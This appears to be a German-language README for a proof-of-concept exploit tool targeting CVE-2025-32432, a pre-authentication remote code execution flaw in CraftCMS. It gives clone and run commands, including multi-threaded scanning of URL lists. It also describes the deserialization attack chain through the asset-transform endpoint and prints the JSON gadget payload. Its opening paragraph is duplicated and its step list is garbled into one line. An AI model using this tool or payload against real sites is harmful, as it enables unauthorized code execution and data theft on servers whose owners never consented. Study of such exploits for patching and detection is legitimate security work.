
Dieses Repository enthält ein Proof-of-Concept-Exploit-Skript für CVE-2025-32432, eine Pre-Authentication-Schwachstelle zur Remote Code Execution (RCE), die CraftCMS Versionen 4.x und 5.x betrifft. Die Schwachstelle besteht in der Asset-Transform-Generierungsfunktion von CraftCMS.
Dieses Repository enthält ein Proof-of-Concept-Exploit-Skript für CVE-2025-32432, eine Remote Code Execution (RCE)-Schwachstelle ohne Authentifizierung, die CraftCMS Versionen 4.x und 5.x betrifft. Die Schwachstelle existiert in der Funktion zur Generierung von Asset-Transformationen von CraftCMS.
Dieses Exploit-Skript automatisiert die Erkennung und Überprüfung der Schwachstelle durch:
⚠️ Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests.
Verwenden Sie dieses Tool nur gegen Systeme, für die Sie ausdrücklich die Erlaubnis zum Testen haben. Nicht autorisierte Tests gegen Systeme ohne Erlaubnis sind illegal und unethisch.
# Repository klonen
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Erforderliche Abhängigkeiten installieren
pip install -r requirements.txt
Um ein einzelnes Ziel zu scannen:
python3 craftcms_rce.py -u example.com
Um mehrere Ziele aus einer Datei zu scannen (eine URL pro Zeile):
python3 craftcms_rce.py -f urls.txt -t 10
Wobei -t die Anzahl der zu verwendenden Threads angibt (Standard ist 5).
-u, --url Einzelne URL zum Testen
-f, --file Datei mit URLs zum Testen (eine pro Zeile)
-t, --threads Anzahl der Threads (Standard: 5)
-h, --help Hilfemeldung anzeigen und beenden
Das Skript gibt Ergebnisse auf der Konsole aus und speichert verwundbare Ziele in vulnerable.txt im CSV-Format mit den folgenden Spalten:
Beispiel für Konsolenausgabe:
[*] Teste Einzelziel: https://example.com
[*] Starte Scan mit 5 Threads
[+] VERWUNDBAR: https://example.com
CRAFT_DB_DATABASE: example_db
HOME-Verzeichnis: /home/example
=== SCAN-ZUSAMMENFASSUNG ===
Gesamt gescannte URLs: 1
Verwundbare Seiten: 1
Detaillierte Ergebnisse gespeichert in vulnerable.txt
Diese Schwachstelle nutzt ein Deserialisierungsproblem in CraftCMS aus. Der Exploit:
/index.php?p=admin/dashboard, um ein CSRF-Token abzurufen/index.php?p=admin/actions/assets/generate-transform mit einem speziell präparierten JSON-PayloadGuzzleHttp\Psr7\FnStream führtphpinfo() und Extrahieren spezifischer Systeminformationen überprüftDer Exploit nutzt eine unsichere Deserialisierung im Asset-Transformationsgenerierungsprozess aus. Der anfällige Codepfad erlaubt es einem Angreifer, ein benutzerdefiniertes PHP-Objekt zu injizieren, das unserialisiert wird, was zur Ausführung beliebigen Codes führt.
Die Schlüsselkomponenten des Payloads:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Beiträge, Probleme und Funktionsanfragen sind willkommen! Schauen Sie gerne auf der Issues-Seite vorbei.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.